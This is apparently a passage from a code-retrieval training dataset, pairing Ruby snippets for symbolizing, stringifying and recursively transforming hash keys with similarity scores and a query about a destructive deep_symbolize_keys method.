"def coerce_symbolized_hash(hash, recursive = false)\n hash = not_nil_hash!(hash)\n symbolized = {}\n hash.each_pair{|k,v| \n if recursive and v.kind_of?(Hash)\n v = coerce_symbolized_hash(v)\n end\n symbolized[coerce_name(k)] = v\n }\n symbolized\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def keys_to_sym clean: false\n self.inject({}){|memo,(k,v)| memo[clean ? k.to_s.to_clean_sym : k.to_s.to_sym] = (v.is_a?(Hash) || v.is_a?(Array) ? v.keys_to_sym(clean:clean) : v); memo}\n end",
"def keys_to_sym!(clean: false, recursive: true)\n replace(keys_to_sym(clean: clean, recursive: recursive))\n end",
"def convert_keys_to_symbols_recursive(obj)\n if obj.is_a?(Hash)\n if var_name = mangled_mustache_variable?(obj)\n return \"{{#{var_name}}}\"\n end\n obj.keys.inject({}) do |h, k| \n # Complication due to fact that keys can be misformed, such as due to yaml parsing of form port: {{port}}\n if k.respond_to?(:to_sym)\n h.merge(k.to_sym => convert_keys_to_symbols_recursive(obj[k]))\n else\n Log.error_pp([\"Unexpected hash key:\",k])\n h.merge(k => convert_keys_to_symbols_recursive(obj[k]))\n end\n end\n elsif obj.is_a?(Array)\n obj.map { |el| convert_keys_to_symbols_recursive(el) }\n else\n obj\n end\n end",
"def symbolize_keys(hash)\n Hash[hash.map { |k, v| v.is_a?(Hash) ? [k.to_sym, symbolize_keys(v)] : [k.to_sym, v] }]\nend",
"def symbolize_recursive(hash)\n {}.tap do |h|\n hash.each { |key, value| h[key.to_sym] = map_value(value) }\n end\n end",
"def symbolize_keys(hash)\n case hash\n when Array\n hash.map { |v| symbolize_keys(v) }\n when Hash\n Hash[hash.map { |k, v| [k.to_sym, symbolize_keys(v)] }]\n else\n hash\n end\n end",
"def symbolize_keys(hash)\n return hash unless hash.kind_of?(Hash)\n Hash[\n hash.map { |key, value|\n k = key.is_a?(String) ? key.to_sym : key\n v = symbolize_keys value\n [k,v]\n }]\n end",
"def symbolize_keys_deep!(h)\n h.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n h[ks] = h.delete k # Preserve order even when k == ks\n symbolize_keys_deep! h[ks] if h[ks].kind_of? Hash\n end\n end",
"def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[hash.map { |k, v| [k.to_s.underscore.to_sym, symbolize_keys(v)] }]\n elsif hash.respond_to?(:map)\n hash.map { |obj| symbolize_keys(obj) }\n else\n hash\n end\n end",
"def symbolize_hash(hash)\n HashKeys.deep_symbolize_keys(hash)\n end",
"def keys_to_sym hash\n return hash unless hash.is_a? Hash\n hash.inject({}){ |opts,(k,v)| opts[k.to_sym] = v; opts }\n end",
"def keys_to_symbols()\n self.deep_convert_keys { |k| k.to_s.to_sym }\n end",
"def symbolize_keys(hash)\n hash.inject({}) { |memo, (k, v)| memo[k.to_sym] = v; memo }\n end",
"def keys_to_sym(clean: false, recursive: true)\n each_with_object({}) do |(k, v), memo|\n key = clean ? k.to_s.to_clean_sym : k.to_s.to_sym\n memo[key] = recursive && v.respond_to?(:keys_to_sym) ? v.keys_to_sym(clean: clean) : v\n end\n end",
"def symbolize_keys!(hash)\n map_keys!(hash, Transproc(:to_symbol).fn)\n end",
"def symbolize_keys_of(hash)\n hash2 = {}\n hash.each {|k,v| hash2[k.to_sym] = v}\n hash2\n end",
"def symbolize_keys_deep(hash)\n return hash unless hash.is_a?(Hash)\n\n Hash[hash.map do |key, value|\n # if value is array, loop each element and recursively symbolize keys\n if value.is_a? Array\n value = value.map { |element| symbolize_keys_deep(element) }\n # if value is hash, recursively symbolize keys\n elsif value.is_a? Hash\n value = symbolize_keys_deep(value)\n end\n\n [symbolize_key(key), value]\n end]\n end",
"def symbolize_keys(hash)\n Hash[hash.map { |k, v| [k.to_sym, v] }]\n end",
"def symbolize! hash\n hash.symbolize_keys!\n hash.values.select{|v| v.is_a? Hash}.each{|h| symbolize!(h)}\n end",
"def symbolize_hash hash\n hash.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n end",
"def symbolize_keys_rec\n if is_a?(Hash)\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = (value.is_a?(Hash)||value.is_a?(Array)) ? value.symbolize_keys_rec : value\n options\n end\n elsif is_a?(Array)\n inject([]) do |options, value|\n options << ((value.is_a?(Hash)||value.is_a?(Array)) ? value.symbolize_keys_rec : value)\n options\n end\n else\n raise Exception.new(\"Can't do that!\")\n end\n end",
"def keys_to_sym(hash)\n sym_key_hash = {}\n hash.each { |k, v| sym_key_hash[k.to_sym] = v }\n sym_key_hash\n end",
"def symbolize_hash(old_hash)\n old_hash.each_with_object({}) { |(k, v), new_hash|\n new_hash[k.to_sym] = if v.is_a?(Hash)\n symbolize_hash(v)\n elsif v.is_a?(Array)\n v.map{ |h| h.is_a?(Hash) ? symbolize_hash(h) : h }\n else\n v\n end\n }\n end",
"def deep_symbolize(hash_like)\n return {} if hash_like.nil? || hash_like.empty?\n r = {}\n hash_like.each do |key, value|\n value = deep_symbolize(value) if value.respond_to?(:values)\n r[key.to_sym] = value\n end\n r\n end",
"def symbolize_hash_keys(object)\n symbolize_proc = proc(&:to_sym)\n apply_key_mutator(object, symbolize_proc)\n end",
"def symbolize_keys(hash)\n h = hash.dup\n h.keys.each do |key|\n h[(key.to_sym rescue key) || key] = h.delete(key)\n end\n h\n end",
"def recursive_symbolize(obj)\n obj.reduce({}) do |memo, (k, v)|\n if v.is_a? Hash\n memo[k.to_sym] = recursive_symbolize(v)\n else\n memo[k.to_sym] = openssl_opt_from_string(v)\n end\n memo\n end\n end",
"def to_sym hash\n hash.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\nend",
"def hash(hash, &block)\n hash.inject({}) do |result, (key, value)|\n # Recursively deep-symbolize subhashes\n value = _recurse_(value, &block)\n\n # Pre-process the key with a block if it was given\n key = yield key if block_given?\n # Symbolize the key string if it responds to to_sym\n sym_key = key.to_sym rescue key\n\n # write it back into the result and return the updated hash\n result[sym_key] = value\n result\n end\n end",
"def flatten_keys(hash)\n hash.transform_keys(&:downcase).transform_keys(&:to_sym)\n end",
"def symbolize_keys(hash)\n hash.keys.each do |key| # rubocop:disable Style/HashEachMethods\n hash[(key.to_sym rescue key) || key] = hash.delete(key)\n end\n hash\n end",
"def symbolize_keys\r\n inject({}) do |options, (key, value)|\r\n options[(key.to_sym rescue key) || key] = value\r\n options\r\n end\r\n end",
"def symbolize_keys!(hash)\n transform_keys!(hash){ |key| key.to_sym rescue key }\n end",
"def symbolize_keys\n dup.symbolize_keys!\n end",
"def symbolize\n Hash.new\n end",
"def deep_stringify_keys(hash)\n hash.each_with_object({}) do |(key, value), new_hash|\n new_hash[key.to_s] = (value.respond_to?(:to_hash) ? deep_stringify_keys(value) : value)\n end\n end",
"def unsymbolise(hash)\n result = {}\n hash.keys.each do |key|\n result[key.to_s] = hash[key]\n end\n result\nend",
"def symbolize_hash(thing)\n if(defined?(Mash))\n Mash.new(thing)\n else\n result = {}\n thing.each do |k,v|\n result[k.to_sym] = v.is_a?(Hash) ? symbolize_hash(v) : v\n end\n result\n end\n end",
"def symbolize(h)\n sym = {}\n h.each do |key, val|\n nk = key.respond_to?(:intern) ? key.intern : key\n sym[nk] = val\n end\n sym\n end",
"def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"def _keys_to_hash(keys)\n keys.reduce({}) do |hsh, k|\n hsh.merge k.is_a?(Hash) ? k.symbolize_keys : { k.to_sym => k.to_sym }\n end\n end",
"def symbolize_keys\n dup.symbolize_keys!\n end",
"def symbolize_keys\n dup.symbolize_keys!\n end",
"def symbolize_keys\n dup.symbolize_keys!\n end",
"def recursive_hash_normalize_keys val\n if val.is_a? Hash\n deep_hash_normalize val\n else\n val\n end\n end",
"def keys_to_sym(options)\n raise ArgumentError, 'not a hash' unless options.is_a? Hash\n opts = options.clone\n\n options.each do |k,v|\n opts[k.to_sym] = opts.delete k unless k.is_a? Symbol\n opts[k.to_sym] = keys_to_sym(v) if v.is_a? Hash\n end\n\n opts\n end",
"def with_symbolized_keys\n inject({}) do |hash, (key, value)|\n if key.is_a?(String)\n hash.update key.to_sym => value\n else\n hash.update key => value\n end\n end\n end",
"def symbolize_keys!\n replace symbolize_keys\n end",
"def symbolize_hash(hash)\n hash.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }\n end",
"def symbolize_keys_of_hashs!(array_of_hashs)\n array_of_hashs.collect!{|hash| symbolize_keys(hash)}\n end",
"def transproc\n fn = Functions[:symbolize_keys]\n nested ? Functions[:recursion, Functions[:is, Hash, fn]] : fn\n end",
"def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"def to_hash\n h = {}\n each do |key,val|\n h[ UniMap.key_to_symbol( key ) ] = val\n end\n h\n end",
"def keys_to_sym(obj)\n case obj\n when Array\n obj.each do |v|\n keys_to_sym(v)\n end\n when Hash\n obj.keys.each do |k|\n if k.class == String\n obj[k.downcase.to_sym] = keys_to_sym(obj.delete(k))\n end\n end\n end\n return obj\n end",
"def to_sym!\n self.keys.each do |key| \n self[key.to_sym] = self.delete key if key.class == String\n end\n return self\n end",
"def convert map\n hsh = Hash.new\n\n map.each { |key, value| hsh[to_symbol(key)] = to_symbol(value)}\n\n return hsh\nend",
"def deeply_symbolize_keys(obj)\n deep_key_symbolizer.call( obj )\n end",
"def symbolize_keys; end",
"def symbolize_keys!\n keys.each do |key|\n unless key.is_a?(Symbol)\n self[key.to_sym] = self[key]\n delete(key)\n end\n end\n self\n end",
"def symbolize_keys_of_hashs(array_of_hashs)\n array_of_hashs.collect{|hash| symbolize_keys(hash)}\n end",
"def to_normal_hash(hash)\n hash.to_h.transform_keys(&:to_sym)\n end",
"def transform_keys_to_symbols(value)\n if value.is_a?(Array)\n array = value.map{|x| x.is_a?(Hash) || x.is_a?(Array) ? transform_keys_to_symbols(x) : x}\n return array\n end\n if value.is_a?(Hash)\n hash = value.inject({}){|memo,(k,v)| memo[k.to_sym] = transform_keys_to_symbols(v); memo}\n return hash\n end\n return value\n end"
] |
[
"0.73629147",
"0.726877",
"0.726877",
"0.726877",
"0.726877",
"0.70778453",
"0.7056075",
"0.7055467",
"0.70521283",
"0.7020765",
"0.70083773",
"0.6997562",
"0.69719225",
"0.6931987",
"0.69116884",
"0.69116884",
"0.6843562",
"0.6800844",
"0.6799091",
"0.6791407",
"0.67874247",
"0.6756567",
"0.67546594",
"0.6721457",
"0.6721068",
"0.6721068",
"0.67190003",
"0.67139935",
"0.6707542",
"0.66960025",
"0.66960025",
"0.6694129",
"0.6691068",
"0.6690183",
"0.66799027",
"0.66799027",
"0.66799027",
"0.6660858",
"0.6653723",
"0.6637054",
"0.66347957",
"0.66270006",
"0.65998405",
"0.65947634",
"0.6590456",
"0.65801936",
"0.6579818",
"0.657368",
"0.6559571",
"0.6554243",
"0.65429264",
"0.6506315",
"0.649432",
"0.6467659",
"0.6446598",
"0.64413583",
"0.6415023",
"0.6369751",
"0.635335",
"0.6349589",
"0.63207537",
"0.63192254",
"0.62762433",
"0.6251784",
"0.62392616",
"0.6204393",
"0.6193799",
"0.6176162",
"0.61756116",
"0.61397356",
"0.61176443",
"0.6110152",
"0.6094749",
"0.6082152",
"0.60781866",
"0.6077761",
"0.60752785",
"0.60752785",
"0.6063785",
"0.6062162",
"0.6062162",
"0.6062162",
"0.60419244",
"0.603272",
"0.5997712",
"0.5990715",
"0.5986453",
"0.5984245",
"0.5980382",
"0.59739506",
"0.5959215",
"0.59561",
"0.59513843",
"0.59440947",
"0.59415555",
"0.5936772",
"0.59317076",
"0.59312534",
"0.5927523",
"0.59196246"
] |
0.66206396
|
42
|
Same as deep_symbolize_keys, but destructively alters the original Hash.
|
def deep_symbolize_keys!
deep_transform_keys! { |key| key.to_sym rescue key }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys_deep!(h)\n h.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n h[ks] = h.delete k # Preserve order even when k == ks\n symbolize_keys_deep! h[ks] if h[ks].kind_of? Hash\n end\n end",
"def deep_symbolize_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys\n deep_transform_keys{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys_deep!(h)\n if Hash == h\n Hash[\n h.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys_deep!(v)]\n end\n ]\n else\n h\n end\n end",
"def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end",
"def symbolize_keys(hash)\r\n target = hash.dup\r\n\r\n target.keys.each do |key|\r\n value = target.delete(key)\r\n if value.is_a? Hash\r\n value = symbolize_keys(value)\r\n end\r\n target[(key.to_sym rescue key) || key] = value\r\n end\r\n\r\n target\r\n end",
"def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end",
"def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end",
"def symbolize_hash(hash)\n HashKeys.deep_symbolize_keys(hash)\n end",
"def symbolize_keys!(hash)\n new_hash = hash.inject({}){ |memo, (k, v)|\n memo[k.to_sym] = v\n if v.class.eql? ::Hash\n memo[k.to_sym] = symbolize_keys! v\n elsif v.class.eql? ::Array\n memo[k.to_sym] = symbolize_keys_of_hashs! v\n end\n memo\n }\n hash.replace new_hash\n end",
"def symbolize_keys(recursive = false)\n to_hash.symbolize_keys(recursive)\n end",
"def symbolize_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_sym] = v.is_a?(Hash) ? v.symbolize_keys : v }\n end",
"def symbolize_keys_deep(hash)\n return hash unless hash.is_a?(Hash)\n\n Hash[hash.map do |key, value|\n # if value is array, loop each element and recursively symbolize keys\n if value.is_a? Array\n value = value.map { |element| symbolize_keys_deep(element) }\n # if value is hash, recursively symbolize keys\n elsif value.is_a? Hash\n value = symbolize_keys_deep(value)\n end\n\n [symbolize_key(key), value]\n end]\n end",
"def symbolize_keys_recursively!(object); end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\n end",
"def symbolize_keys(hash)\n hash.keys.each do |key| # rubocop:disable Style/HashEachMethods\n hash[(key.to_sym rescue key) || key] = hash.delete(key)\n end\n hash\n end",
"def symbolize_hash_keys(hash); end",
"def recursive_symbolize_keys hash\n if !hash.is_a?(Hash)\n return hash\n end\n \n new_hash = {}\n hash.each_pair do |key, value|\n new_hash[key.to_sym] = recursive_symbolize_keys(value)\n end\n new_hash\n end",
"def symbolize_keys!\n replace symbolize_keys\n end",
"def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[\n hash.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys(v)]\n end\n ]\n else\n hash\n end\n end",
"def symbolize_keys(hash)\n Hash[hash.map { |k, v| v.is_a?(Hash) ? [k.to_sym, symbolize_keys(v)] : [k.to_sym, v] }]\nend",
"def deeply_symbolize_keys(obj)\n deep_key_symbolizer.call( obj )\n end",
"def symbolize_keys(hash)\n h = hash.dup\n h.keys.each do |key|\n h[(key.to_sym rescue key) || key] = h.delete(key)\n end\n h\n end",
"def symbolize_keys!\n replace(self.symbolize_keys)\n end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\nend",
"def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[hash.map { |k, v| [k.to_s.underscore.to_sym, symbolize_keys(v)] }]\n elsif hash.respond_to?(:map)\n hash.map { |obj| symbolize_keys(obj) }\n else\n hash\n end\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys\n dup.symbolize_keys!\n end",
"def recursively_symbolize_keys\n recursively_transform_keys { |key| key.to_sym rescue key }\n end",
"def symbolize_keys(hash)\n case hash\n when Array\n hash.map { |v| symbolize_keys(v) }\n when Hash\n Hash[hash.map { |k, v| [k.to_sym, symbolize_keys(v)] }]\n else\n hash\n end\n end",
"def symbolize_keys\n dup.symbolize_keys!\n end",
"def symbolize_keys\n dup.symbolize_keys!\n end",
"def symbolize_keys\n dup.symbolize_keys!\n end",
"def symbolize_keys(hash)\n hash.inject({}) { |memo, (k, v)| memo[k.to_sym] = v; memo }\n end",
"def symbolize_keys!(hash)\n transform_keys!(hash){ |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\r\n self.replace(self.symbolize_keys)\r\n end",
"def symbolize_hash(old_hash)\n old_hash.each_with_object({}) { |(k, v), new_hash|\n new_hash[k.to_sym] = if v.is_a?(Hash)\n symbolize_hash(v)\n elsif v.is_a?(Array)\n v.map{ |h| h.is_a?(Hash) ? symbolize_hash(h) : h }\n else\n v\n end\n }\n end",
"def recursively_symbolize_keys!(modify_nested_arrays = false)\n replace recursively_symbolize_keys(modify_nested_arrays)\n end",
"def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"def symbolize_hash_keys(object)\n symbolize_proc = proc(&:to_sym)\n apply_key_mutator(object, symbolize_proc)\n end",
"def symbolize_keys(hash)\n Hash[hash.map { |k, v| [k.to_sym, v] }]\n end",
"def symbolize_keys!\n transform_keys! { |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys! { |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys! { |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys(hash)\n return hash unless hash.kind_of?(Hash)\n Hash[\n hash.map { |key, value|\n k = key.is_a?(String) ? key.to_sym : key\n v = symbolize_keys value\n [k,v]\n }]\n end",
"def deep_stringify_keys(hash)\n transform_hash(hash, :deep => true) {|hash, key, value|\n hash[key.to_s] = value\n }\n end",
"def deep_symbolize(hash_like)\n return {} if hash_like.nil? || hash_like.empty?\n r = {}\n hash_like.each do |key, value|\n value = deep_symbolize(value) if value.respond_to?(:values)\n r[key.to_sym] = value\n end\n r\n end",
"def symbolize_keys\r\n inject({}) do |options, (key, value)|\r\n options[(key.to_sym rescue key) || key] = value\r\n options\r\n end\r\n end",
"def symbolize_keys_of(hash)\n hash2 = {}\n hash.each {|k,v| hash2[k.to_sym] = v}\n hash2\n end",
"def symbolize_keys!(object)\n if object.is_a?(Array)\n object.each_with_index { |val, index| object[index] = symbolize_keys!(val) }\n elsif object.is_a?(Hash)\n object.keys.each { |key| object[key.to_sym] = symbolize_keys!(object.delete(key)) }\n end\n object\n end",
"def symbolize! hash\n hash.symbolize_keys!\n hash.values.select{|v| v.is_a? Hash}.each{|h| symbolize!(h)}\n end",
"def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"def symbolize_keys_rec\n if is_a?(Hash)\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = (value.is_a?(Hash)||value.is_a?(Array)) ? value.symbolize_keys_rec : value\n options\n end\n elsif is_a?(Array)\n inject([]) do |options, value|\n options << ((value.is_a?(Hash)||value.is_a?(Array)) ? value.symbolize_keys_rec : value)\n options\n end\n else\n raise Exception.new(\"Can't do that!\")\n end\n end",
"def symbolize_keys!(hash)\n map_keys!(hash, Transproc(:to_symbol).fn)\n end",
"def symbolize_hash hash\n hash.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n end",
"def deep_stringify_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_s }\n end",
"def symbolize_keys!; self end",
"def symbolize_keys; end",
"def symbolize_keys\n transform_keys { |key| key.to_sym rescue key }\n end",
"def symbolize_keys\n transform_keys { |key| key.to_sym rescue key }\n end",
"def normalize(hash)\n hash.symbolize_keys if hash\n end",
"def deep_stringify_keys!\n deep_transform_keys!{ |key| key.to_s }\n end",
"def symbolize_keys!\n keys.each do |key|\n self[(key.to_sym rescue key) || key] = delete(key)\n end\n self\n end",
"def deep_stringify_keys(hash)\n hash.each_with_object({}) do |(key, value), new_hash|\n new_hash[key.to_s] = (value.respond_to?(:to_hash) ? deep_stringify_keys(value) : value)\n end\n end",
"def deep_stringify_keys!\n deep_transform_keys! { |key| key.to_s }\n end",
"def symbolize_keys!\n keys.each do |key|\n self[(key.to_sym rescue key) || key] = delete(key)\n end\n self\n end",
"def symbolize_keys!\n keys.each do |key|\n self[(key.to_sym rescue key) || key] = delete(key)\n end\n self\n end",
"def symbolize_keys!\n keys.each do |key|\n self[(key.to_sym rescue key) || key] = delete(key)\n end\n self\n end",
"def symbolize_keys!\n keys.each do |key|\n self[(key.to_sym rescue key) || key] = delete(key)\n end\n self\n end",
"def symbolize_keys!\n keys.each do |key|\n self[(key.to_sym rescue key) || key] = delete(key)\n end\n self\n end",
"def symbolize_keys!\n keys.each do |key|\n unless key.is_a?(Symbol)\n self[key.to_sym] = self[key]\n delete(key)\n end\n end\n self\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def coerce_symbolized_hash(hash, recursive = false)\n hash = not_nil_hash!(hash)\n symbolized = {}\n hash.each_pair{|k,v| \n if recursive and v.kind_of?(Hash)\n v = coerce_symbolized_hash(v)\n end\n symbolized[coerce_name(k)] = v\n }\n symbolized\n end",
"def symbolize_all_keys!\n self.keys.map do |key|\n if self[key].is_a? Hash\n self[key].symbolize_all_keys!\n elsif self[key].is_a? Array\n # Find hashes to sort in the array.\n self[key].each do |v|\n v.symbolize_all_keys! if v.is_a? Hash\n end\n end\n self[key.to_sym] = self.delete(key)\n end\n self\n end",
"def symbolize_hash(hash)\n hash.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def to_normal_hash(hash)\n hash.to_h.transform_keys(&:to_sym)\n end",
"def symbolize_keys!\n self.class.symbolize_keys(self)\n end",
"def symbolize\n return self if symbolized?\n inject({}) do |options, (key, value)|\n key_sym = key.to_sym rescue key\n raise RuntimeError, \"duplicate key detected\" if options.has_key?(key_sym)\n options[key_sym || key] = (value.respond_to?(:symbolize) ? value.symbolize : value)\n next options\n end\n end",
"def keys_to_sym clean: false\n self.inject({}){|memo,(k,v)| memo[clean ? k.to_s.to_clean_sym : k.to_s.to_sym] = (v.is_a?(Hash) || v.is_a?(Array) ? v.keys_to_sym(clean:clean) : v); memo}\n end",
"def deep_transform_keys!(&block); end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end"
] |
[
"0.8645186",
"0.8645186",
"0.85175216",
"0.8473024",
"0.8473024",
"0.8470794",
"0.8439782",
"0.8371661",
"0.83615303",
"0.8325609",
"0.826378",
"0.82129043",
"0.81734806",
"0.81734806",
"0.7987722",
"0.7962561",
"0.7760612",
"0.7759983",
"0.7756569",
"0.7709715",
"0.77062535",
"0.7692412",
"0.767284",
"0.7648989",
"0.7632458",
"0.7578705",
"0.75750655",
"0.75723445",
"0.7565475",
"0.75579786",
"0.750915",
"0.7504928",
"0.74632066",
"0.74632066",
"0.74632066",
"0.74632066",
"0.74632066",
"0.74632066",
"0.7453292",
"0.74360526",
"0.74269724",
"0.74136454",
"0.74136454",
"0.74136454",
"0.7410046",
"0.74013305",
"0.73584414",
"0.7343074",
"0.7342236",
"0.7340912",
"0.7340912",
"0.7334279",
"0.73315597",
"0.7329825",
"0.7329825",
"0.7329825",
"0.7324963",
"0.73227715",
"0.72769606",
"0.7273156",
"0.725902",
"0.7258597",
"0.72002333",
"0.7164192",
"0.71521014",
"0.71521014",
"0.71217793",
"0.7115442",
"0.71119314",
"0.7107475",
"0.7092187",
"0.7079484",
"0.70540804",
"0.70540804",
"0.7049714",
"0.70423925",
"0.703936",
"0.703492",
"0.702652",
"0.7024556",
"0.7024556",
"0.7024556",
"0.7024556",
"0.7024556",
"0.701257",
"0.7010381",
"0.70003504",
"0.6975284",
"0.6960374",
"0.69436264",
"0.69436264",
"0.6893005",
"0.68782794",
"0.6873993",
"0.68499345",
"0.6815513",
"0.6777529",
"0.6777529"
] |
0.8461017
|
8
|
Generic method to perform recursive operations on a Hash.
|
def deep_transform_keys(&block)
_deep_transform_keys_in_object(self, &block)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dehash(hash, depth); end",
"def recalculate_hash_at(node)\n return node._hash = node.value if node.value\n recalculate_hash_at(node.left) if node.left\n recalculate_hash_at(node.right) if node.right\n node._hash = self.class.hash_children(*node_subhashes(node))\n end",
"def recursive_hash_normalize_keys val\n if val.is_a? Hash\n deep_hash_normalize val\n else\n val\n end\n end",
"def deep_hash(hash)\n break_keys(hash).tap do\n hash.each do |key, value|\n hash[key] = deep_hash_value(value)\n end\n end\n end",
"def flatten_hash(hash_or_a, parent_keys = [], &blk)\n if hash_or_a.is_a?(Hash)\n hash_or_a.each_pair do | k, v |\n flatten_hash(v, parent_keys + [k], &blk)\n end\n elsif hash_or_a.is_a?(Array)\n hash_or_a.map do | v |\n blk.call(parent_keys + [nil], v)\n end\n else\n blk.call(parent_keys, hash_or_a)\n end\n end",
"def recursive_find_hash(charity_hash,field_names,values)\n charity_hash.each do |key,value|\n # If value is a hash, call the function again\n if value.is_a? Hash \n recursive_find_hash(value,field_names,values)\n elsif value.is_a? Array \n if (value.first.is_a? Hash) == false\n if field_names.include? (key.to_s)\n key += @counter.to_s\n @counter += 1\n end\n field_names.push(key.to_s)\n values.push(value.to_s)\n else\n value.each do |array|\n recursive_find_hash(array, field_names, values)\n end \n end\n else\n # If value is not a hash, key is the header and the value is the value\n if field_names.include? key.to_s\n key += @counter.to_s\n @counter += 1\n end\n field_names.push(key.to_s)\n values.push(value.to_s)\n end\n end\n \n end",
"def deep_reduce(hash, &block)\n new_hash = {}\n\n hash.each do |k, v|\n v = if v.is_a?(::Hash)\n deep_reduce(v, &block)\n else\n v\n end\n\n block.call(k, v, new_hash)\n end\n\n new_hash\n end",
"def deep_reduce(hash, &block)\n new_hash = {}\n\n hash.each do |k, v|\n v = if v.is_a?(::Hash)\n deep_reduce(v, &block)\n else\n v\n end\n\n block.call(k, v, new_hash)\n end\n\n new_hash\n end",
"def deep_merge!(target, hash); end",
"def deep_merge!(target, hash); end",
"def sub_hash(hash, key); end",
"def recursive_hash_merge(hash1, hash2)\n hash1.merge(hash2) {|k,o,n| (o.is_a?(Hash)) ? recursive_hash_merge(o,n) : n}\n end",
"def expand\n {}.to_tree_hash.tap do |hash|\n each do |k, v|\n hash.bridge(k => v)\n end\n end.value\n end",
"def deep_merge!(hash)\n # failsafe\n return if !hash.is_a?(Hash)\n for key in hash.keys\n if self[key].is_a?(Hash)\n self[key].deep_merge!(hash[key])\n else\n self[key] = hash[key]\n end\n end\n end",
"def iteration_hash(data_hash = self.data, &block)\n yield data_hash\n cid = data_hash[:__cid__]\n code = Codes[cid]\n code.in.each do |input|\n next if !data_hash[input].is_a?(Hash)\n # -- recursive -- #\n iteration_hash(data_hash[input], &block)\n # -- recursive -- #\n end\n end",
"def deep_merge!(other_hash, &block); end",
"def deep_update(*other_hashes, &blk); end",
